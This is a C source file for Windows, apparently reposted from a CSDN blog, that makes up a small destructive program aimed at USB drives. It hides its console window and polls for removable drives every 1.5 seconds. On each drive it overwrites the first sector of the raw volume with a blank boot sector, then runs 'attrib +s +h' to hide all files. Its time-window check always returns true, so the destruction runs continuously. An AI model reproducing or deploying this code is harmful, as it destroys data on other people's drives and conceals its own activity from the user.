#include <stdio.h> #include <string.h> #include <stdlib.h> #include <windows.h> unsigned int g_TimeList[][2] = {1, 10000000}; unsigned char g_MBR[512]; int IsOperateTime(void) { SYSTEMTIME SystemTime; unsigned int i = 0; unsigned int count = sizeof(g_TimeList) / sizeof(unsigned int) / 2; unsigned int TimeNow = 0; return 1; GetLocalTime(&SystemTime); TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute; for (; i < count; i++) { if (TimeNow >= g_TimeList[i][0] && TimeNow <= g_TimeList[i][1]) { return 1; // 当前时间在事件列表内 } } return 0; } int ScanUSB(unsigned char Volumes[], unsigned short MaxVolumes) { char Volume = 'A'; char Buffer[200], *p = Buffer; unsigned int Count = 0; GetLogicalDriveStrings(52, Buffer); while (*p != '\0') { if (GetDriveType(p) == DRIVE_REMOVABLE) { Volumes[Count++] = *p; } p += strlen(p) + 1; } return Count; } int AlterMbr(unsigned char Volume) { HANDLE hVolume = INVALID_HANDLE_VALUE; char VolumeName[10]; unsigned long ReadLen = 0; // 已写入大小 BOOL IsSuccess = FALSE; if (Volume != '\0') { sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume); hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hVolume != INVALID_HANDLE_VALUE) { IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL); if (IsSuccess && ReadLen == 512) { return 0; } } } return 1; } void HideAllFiles(unsigned char Volume) { char Buf[50]; if (Volume != '\0') { sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume); system(Buf); } } int main() { MSG Msg; unsigned char USBList[26]; SetConsoleTitle("Cpp1 - test - 20140907"); ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE); memset(&Msg, 0, sizeof(MSG)); memset(g_MBR, 0, 512); g_MBR[510] = 0x55; g_MBR[511] = 0xAA; if (SetTimer(NULL, 0x01, 1500, NULL) == 0) { MessageBox(NULL, "定时器创建失败。", "错误", MB_OK); ExitProcess(1); } while (GetMessage(&Msg, NULL, 0, 0)) { switch (Msg.message) { case WM_TIMER: { if (IsOperateTime() == 1) { unsigned int USBCount = 0; memset(USBList, 0, 26); if ((USBCount = ScanUSB(USBList, 26)) != 0) { for (unsigned int i = 0; i < USBCount; i++) { AlterMbr(USBList[i]); HideAllFiles(USBList[i]); } } } break; } default: { break; } } } return 0; }
原文地址:http://blog.csdn.net/sunnysab/article/details/39992809